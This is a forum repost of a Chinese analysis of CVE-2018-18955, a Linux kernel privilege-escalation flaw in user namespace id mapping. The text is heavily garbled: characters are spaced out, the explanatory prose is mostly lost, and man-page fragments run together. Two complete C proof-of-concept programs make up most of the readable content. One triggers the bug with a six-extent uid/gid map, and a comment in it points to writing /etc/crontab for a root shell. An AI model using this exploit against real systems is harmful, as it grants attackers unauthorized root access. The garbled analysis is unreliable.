[13861] 2019-03-13_CVE-2018-18955:较新Linux内核的提权神洞分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-03-13_CVE-2018-18955:较新Linux内核的提权神洞分析 C V E - 2 0 1 8 - 1 8 9 5 5 L i n u x 0 x 4 d 6 9   F r e e B u f   2 0 1 9 - 0 3 - 1 3 a d v i s o r y u s e r   n a m e s p a c e 使 L i n u x   n a m e s p a c e n s 西     u s e r   n s U s e r   n a m e s p a c e s   i s o l a t e   s e c u r i t y - r e l a t e d   i d e n t i f i e r s   a n d   a t t r i b u t e s ,   i n   p a r t i c u l a r ,   u s e r   I D s   a n d   g r o u p   I D s   ( s e e c r e d e n t i a l s ( 7 ) ) ,   t h e   r o o t   d i r e c t o r y ,   k e y s   ( s e e   k e y r i n g s ( 7 ) ) ,   a n d   c a p a b i l i t i e s   ( s e e   c a p a b i l i   t i e s ( 7 ) ) .   A   p r o c e s s ' s u s e r   a n d   g r o u p   I D s   c a n   b e   d i f f e r e n t   i n s i d e   a n d   o u t s i d e   a   u s e r   n a m e s p a c e .   I n   p a r   t i c u l a r ,   a   p r o c e s s   c a n   h a v e   a n o r m a l   u n p r i v i l e g e d   u s e r   I D   o u t s i d e   a   u s e r   n a m e s p a c e   w h i l e   a t   t h e   s a m e   t i m e   h a v i n g   a   u s e r   I D   o f   0   i n s i d e   t h e n a m e s p a c e ;   i n   o t h e r   w o r d s ,   t h e   p r o c e s s   h a s   f u l l   p r i v i l e g e s   f o r   o p e r a   t i o n s   i n s i d e   t h e   u s e r   n a m e s p a c e ,   b u t   i s u n p r i v i l e g e d   f o r   o p e r a t i o n s   o u t s i d e   t h e   n a m e s p a c e . u s e r   n s u i d g i d u i d g i d u s e r   n s u i d u s e r   n s r o o t u i d u s e r   n s r o o t n e s t e d   u s e r   n s n e s t e d   n s i d   m a p p i n g i d n e s t e d u s e r   n s n s U s e r   n a m e s p a c e s   c a n   b e   n e s t e d ;   t h a t   i s ,   e a c h   u s e r   n a m e s p a c e e x c e p t   t h e   i n i t i a l   ( " r o o t " )   n a m e s p a c e   h a s   a p a r e n t   u s e r   n a m e s p a c e ,   a n d   c a n   h a v e   z e r o   o r   m o r e   c h i l d   u s e r   n a m e s p a c e s .   T h e   p a r e n t   u s e r   n a m e s p a c e   i s   t h e u s e r   n a m e s p a c e   o f   t h e   p r o c e s s   t h a t   c r e a t e s   t h e   u s e r   n a m e s p a c e   v i a   a   c a l l   t o   u n s h a r e ( 2 )   o r   c l o n e ( 2 )   w i t h   t h e C L O N E _ N E W U S E R   f l a g . u i d / g i d   m a p p i n g i d   m a p p i n g n e s t e d   u s e r   n s n s   m a n   u s e r _ n a m e s p a c e s m a n   n a m e s p a c e s N a m e s p a c e       C o n s t a n t                     I s o l a t e s C g r o u p             C L O N E _ N E W C G R O U P       C g r o u p   r o o t   d i r e c t o r y I P C                   C L O N E _ N E W I P C             S y s t e m   V   I P C ,   P O S I X   m e s s a g e   q u e u e s N e t w o r k           C L O N E _ N E W N E T             N e t w o r k   d e v i c e s ,   s t a c k s ,   p o r t s ,   e t c . M o u n t               C L O N E _ N E W N S               M o u n t   p o i n t s P I D                   C L O N E _ N E W P I D             P r o c e s s   I D s U s e r                 C L O N E _ N E W U S E R           U s e r   a n d   g r o u p   I D s U T S                   C L O N E _ N E W U T S             H o s t n a m e   a n d   N I S   d o m a i n   n a m e m a n   n e w u i d m a p
        n e w u i d m a p   v e r i f i e s   t h a t   t h e   c a l l e r   i s   t h e   o w n e r   o f   t h e   p r o c e s s   i n d i c a t e d   b y   p i d   a n d   t h a t   f o r   e a c h   o f   t h e   a b o v e s e t s ,   e a c h   o f   t h e   U I D s   i n   t h e   r a n g e   [ l o w e r u i d ,   l o w e r u i d + c o u n t ]   i s   a l l o w e d   t o   t h e   c a l l e r   a c c o r d i n g   t o   / e t c / s u b u i d b e f o r e   s e t t i n g   / p r o c / [ p i d ] / u i d _ m a p   m a p p i n g a d v i s o r y     c o m m i t d i f f u i d         B e g i n n i n g   o f   t h e   r a n g e   o f   U I D s   i n s i d e   t h e   u s e r   n a m e s p a c e . l o w e r u i d         B e g i n n i n g   o f   t h e   r a n g e   o f   U I D s   o u t s i d e   t h e   u s e r   n a m e s p a c e . c o u n t         L e n g t h   o f   t h e   r a n g e s   ( b o t h   i n s i d e   a n d   o u t s i d e   t h e   u s e r   n a m e s p a c e ) . l o w e r u i d / e t c / s u b u i d 0   1 0 0 0 0 0   1 0 0 0 6 3 9 7 f a c 4 9 1 5 a
l i n u x k e r n e l . o r g         m a p p i n g e x t e n t     e x t e n t   i d   m a p p i n g m a p p i n g k e r n e l / u s e r _ n a m e s p a c e . c m a p _ w r i t e ( ) i n s e r t _ e x t e n t ( ) n e w _ m a p s t r u c t   u i d _ g i d _ m a p 0   0   1 1   1   1 2   2   1 3   3   1 4   4   1 5   5   9 9 5
m a p p i n g 6 e x t e n t         m a p p i n g ,     5 e x t e n t s 5   m a p p i n g   f o r w a r d r e v e r s e i d   m a p p i n g a d v i s o r y b i n a r y   s e a r c h   o v e r   a   s o r t e d   a r r a y   o f   s t r u c t   u i d g i d e x t e n t   i s   u s e d .   B e c a u s e   I D   m a p p i n g s   a r e   q u e r i e d   i n   b o t h d i r e c t i o n s   ( k e r n e l   I D   t o   n a m e s p a c e d   I D   a n d   n a m e s p a c e d   I D   t o   k e r n e l   I D ) ,   t w o   c o p i e s   o f   t h e   a r r a y   a r e c r e a t e d ,   o n e   p e r   d i r e c t i o n ,   a n d   t h e y   a r e   s o r t e d   d i f f e r e n t l y . e x t e n t n e w _ m a p s o r t _ i d m a p s ( ) n e w _ m a p - > f o r w a r d n e w _ m a p - > r e v e r s e U I D _ G I D _ M A P _ M A X _ B A S E _ E X T E N T S s t r u c t   u i d _ g i d _ m a p m a p - > n r e x t e n t s s o r t _ i d m a p s ( ) b s e a r c h ( ) n e w _ m a p
n e s t e d   n s     n s i d           i d n s   i d m a p _ i d _ r a n g e _ d o w n ( ) n e w _ m a p l o w e r _ f i r s t p a r e n t _ m a p l o w e r _ f i r s t l o w e r _ f i r s t m a p _ i d _ r a n g e _ d o w n ( ) n e w _ m a p - > f o r w a r d l o w e r _ f i r s t n e w _ m a p - > r e v e r s e m a p _ w r i t e ( )
  n s i d   m a p p i n g m a p p i n g e x t e n t   m a p p i n g       i d     i d r e v e r s e   m a p p i n g i d n e s t e d   n s m a p p i n g           f o r w a r d m a p p i n g c o p y 使 m a p   t o   k e r n e l r e v e r s e   m a p p i n g f o r w a r d   m a p p i n g m a p   t o   k e r n e l r e v e r s e   m a p p i n g r e v e r s e   m a p p i n g m a p k e r n e l   t o   n s   m a p p i n g 使     u i d n e s t e d   n s     k e r n e l   t o n s u i d   m a p p i n g n e s t e d   n s     u i d C V E - 2 0 1 8 - 1 8 9 5 5 j a n n h @ g o o g l e . c o m           使 m a p _ w r i t e ( ) n e w _ m a p n e w _ m a p - > f o r w a r d l o w e r _ f i r s t n e w _ m a p - > r e v e r s e p a r e n t _ m a p l o w e r _ f i r s t s o r t _ i d m a p s ( ) n e w _ m a p - > r e v e r s e s o r t _ i d m a p s ( ) 0 . . 1 0 0 0 0 . . 1 0 0 0 0 . . 1 0 0 0 f r o m _ k u i d ( ) k u i d _ h a s _ m a p p i n g ( ) i n o d e _ o w n e r _ o r _ c a p a b l e ( ) p r i v i l e g e d _ w r t _ i n o d e _ u i d g i d ( )
  i d i n o d e P o C P o C f r o m _ k u i d ( ) m a p - > r e v e r s e
  r o o t 西 P o C s u b u i d _ s h e l l . c / e t c / c r o n t a b
s u b s h e l l . c # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < e r r . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < g r p . h > # i n c l u d e   < s c h e d . h > # i n c l u d e   < s i g n a l . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s y s / p r c t l . h > # i n c l u d e   < s y s / s o c k e t . h > # i n c l u d e   < s y s / u n . h > # i n c l u d e   < s y s / w a i t . h > # i n c l u d e   < u n i s t d . h > i n t   m a i n ( v o i d ) {         i n t   s y n c _ p i p e [ 2 ] ;         c h a r   d u m m y ;         i f   ( s o c k e t p a i r ( A F _ U N I X ,   S O C K _ S T R E A M ,   0 ,   s y n c _ p i p e ) )                 e r r ( 1 ,   " p i p e " ) ;         p i d _ t   c h i l d   =   f o r k ( ) ;         i f   ( c h i l d   = =   - 1 )                 e r r ( 1 ,   " f o r k " ) ;         i f   ( c h i l d   = =   0 )   {                 / /   k i l l   c h i l d   i f   p a r e n t   d i e s                 p r c t l ( P R _ S E T _ P D E A T H S I G ,   S I G K I L L ) ;                 c l o s e ( s y n c _ p i p e [ 1 ] ) ;                 / /   c r e a t e   n e w   n s                 i f   ( u n s h a r e ( C L O N E _ N E W U S E R ) )                         e r r ( 1 ,   " u n s h a r e   u s e r n s " ) ;                 i f   ( w r i t e ( s y n c _ p i p e [ 0 ] ,   " X " ,   1 )   ! =   1 )                         e r r ( 1 ,   " w r i t e   t o   s o c k " ) ;                 i f   ( r e a d ( s y n c _ p i p e [ 0 ] ,   & d u m m y ,   1 )   ! =   1 )                         e r r ( 1 ,   " r e a d   f r o m   s o c k " ) ;                 / /   s e t   u i d   a n d   g i d   t o   0 ,   i n   c h i l d   n s                 i f   ( s e t g i d ( 0 ) )                         e r r ( 1 ,   " s e t g i d " ) ;                 i f   ( s e t u i d ( 0 ) )                         e r r ( 1 ,   " s e t u i d " ) ;                 / /   r e p l a c e   p r o c e s s   w i t h   b a s h   s h e l l ,   i n   w h i c h   y o u   w i l l   s e e   " r o o t " ,                 / /   a s   t h e   s e t u i d ( 0 )   c a l l   w o r k e d                 / /   t h i s   m i g h t   s e e m   a   l i t t l e   c o n f u s i n g ,   b u t   y o u   a r e   " r o o t "   o n l y   t o   t h i s   c h i l d   n s ,                 / /   t h u s ,   n o   p e r m i s s i o n   t o   t h e   o u t s i d e   n s                 e x e c l ( " / b i n / b a s h " ,   " b a s h " ,   N U L L ) ;                 e r r ( 1 ,   " e x e c " ) ;         }         c l o s e ( s y n c _ p i p e [ 0 ] ) ;         i f   ( r e a d ( s y n c _ p i p e [ 1 ] ,   & d u m m y ,   1 )   ! =   1 )                 e r r ( 1 ,   " r e a d   f r o m   s o c k " ) ;         / /   s e t   i d   m a p p i n g   ( 0 . . 1 0 0 0 )   f o r   c h i l d   p r o c e s s         c h a r   c m d [ 1 0 0 0 ] ;         s p r i n t f ( c m d ,   " e c h o   d e n y   >   / p r o c / % d / s e t g r o u p s " ,   ( i n t ) c h i l d ) ;         i f   ( s y s t e m ( c m d ) )                 e r r x ( 1 ,   " d e n y i n g   s e t g r o u p s   f a i l e d " ) ;         s p r i n t f ( c m d ,   " n e w u i d m a p   % d   0   1 0 0 0 0 0   1 0 0 0 " ,   ( i n t ) c h i l d ) ;         i f   ( s y s t e m ( c m d ) )                 e r r x ( 1 ,   " n e w u i d m a p   f a i l e d " ) ;         s p r i n t f ( c m d ,   " n e w g i d m a p   % d   0   1 0 0 0 0 0   1 0 0 0 " ,   ( i n t ) c h i l d ) ;         i f   ( s y s t e m ( c m d ) )                 e r r x ( 1 ,   " n e w g i d m a p   f a i l e d " ) ;         i f   ( w r i t e ( s y n c _ p i p e [ 1 ] ,   " X " ,   1 )   ! =   1 )                 e r r ( 1 ,   " w r i t e   t o   s o c k " ) ;         i n t   s t a t u s ;         i f   ( w a i t ( & s t a t u s )   ! =   c h i l d )                 e r r ( 1 ,   " w a i t " ) ;         r e t u r n   0 ; }
* 0 x 4 d 6 9   F r e e B u f   # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < e r r . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < g r p . h > # i n c l u d e   < s c h e d . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s y s / s o c k e t . h > # i n c l u d e   < s y s / u n . h > # i n c l u d e   < s y s / w a i t . h > # i n c l u d e   < u n i s t d . h > i n t   m a i n ( v o i d ) {         i n t   s y n c _ p i p e [ 2 ] ;         c h a r   d u m m y ;         i f   ( s o c k e t p a i r ( A F _ U N I X ,   S O C K _ S T R E A M ,   0 ,   s y n c _ p i p e ) )                 e r r ( 1 ,   " p i p e " ) ;         / /   c r e a t e   a   c h i l d   p r o c e s s         p i d _ t   c h i l d   =   f o r k ( ) ;         i f   ( c h i l d   = =   - 1 )                 e r r ( 1 ,   " f o r k " ) ;         i f   ( c h i l d   = =   0 )   {                 / /   i n   c h i l d   p r o c e s s                 c l o s e ( s y n c _ p i p e [ 1 ] ) ;                 / /   t h i s   c r e a t e s   a   n e w   n s                 i f   ( u n s h a r e ( C L O N E _ N E W U S E R ) )                         e r r ( 1 ,   " u n s h a r e   u s e r n s " ) ;                 i f   ( w r i t e ( s y n c _ p i p e [ 0 ] ,   " X " ,   1 )   ! =   1 )                         e r r ( 1 ,   " w r i t e   t o   s o c k " ) ;                 i f   ( r e a d ( s y n c _ p i p e [ 0 ] ,   & d u m m y ,   1 )   ! =   1 )                         e r r ( 1 ,   " r e a d   f r o m   s o c k " ) ;                 / /   s t a r t   a   b a s h   p r o c e s s   ( r e p l a c e   p r o c e s s   i m a g e )                 / /   t h i s   t i m e   y o u   a r e   a c t u a l l y   r o o t ,   w i t h o u t   t h e   n a m e / i d ,   t h o u g h                 / /   t e c h n i c a l l y   t h e   r o o t   a c c e s s   i s   n o t   c o m p l e t e ,                 / /   t o   g e t   c o m p l e t e   r o o t ,   w r i t e   t o   / e t c / c r o n t a b   a n d   w a i t   f o r   a   r o o t   s h e l l   t o   p o p   u p                 e x e c l ( " / b i n / b a s h " ,   " b a s h " ,   N U L L ) ;                 e r r ( 1 ,   " e x e c " ) ;         }         c l o s e ( s y n c _ p i p e [ 0 ] ) ;         i f   ( r e a d ( s y n c _ p i p e [ 1 ] ,   & d u m m y ,   1 )   ! =   1 )                 e r r ( 1 ,   " r e a d   f r o m   s o c k " ) ;         c h a r   p b u f [ 1 0 0 ] ;   / /   p a t h   o f   u i d _ m a p         s p r i n t f ( p b u f ,   " / p r o c / % d " ,   ( i n t ) c h i l d ) ;         / /   c d   t o   / p r o c / p i d / u i d _ m a p         i f   ( c h d i r ( p b u f ) )                 e r r ( 1 ,   " c h d i r " ) ;         / /   o u r   n e w   i d   m a p p i n g   w i t h   6   e x t e n t s   ( >   5   e x t e n t s )         c o n s t   c h a r *   i d _ m a p p i n g   =   " 0   0   1 n 1   1   1 n 2   2   1 n 3   3   1 n 4   4   1 n 5   5   9 9 5 n " ;         / /   w r i t e   t h e   n e w   m a p p i n g   t o   u i d _ m a p   a n d   g i d _ m a p         i n t   u i d _ m a p   =   o p e n ( " u i d _ m a p " ,   O _ W R O N L Y ) ;         i f   ( u i d _ m a p   = =   - 1 )                 e r r ( 1 ,   " o p e n   u i d   m a p " ) ;         i f   ( w r i t e ( u i d _ m a p ,   i d _ m a p p i n g ,   s t r l e n ( i d _ m a p p i n g ) )   ! =   s t r l e n ( i d _ m a p p i n g ) )                 e r r ( 1 ,   " w r i t e   u i d   m a p " ) ;         c l o s e ( u i d _ m a p ) ;         i n t   g i d _ m a p   =   o p e n ( " g i d _ m a p " ,   O _ W R O N L Y ) ;         i f   ( g i d _ m a p   = =   - 1 )                 e r r ( 1 ,   " o p e n   g i d   m a p " ) ;         i f   ( w r i t e ( g i d _ m a p ,   i d _ m a p p i n g ,   s t r l e n ( i d _ m a p p i n g ) )   ! =   s t r l e n ( i d _ m a p p i n g ) )                 e r r ( 1 ,   " w r i t e   g i d   m a p " ) ;         c l o s e ( g i d _ m a p ) ;         i f   ( w r i t e ( s y n c _ p i p e [ 1 ] ,   " X " ,   1 )   ! =   1 )                 e r r ( 1 ,   " w r i t e   t o   s o c k " ) ;         i n t   s t a t u s ;         i f   ( w a i t ( & s t a t u s )   ! =   c h i l d )                 e r r ( 1 ,   " w a i t " ) ;         r e t u r n   0 ; }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则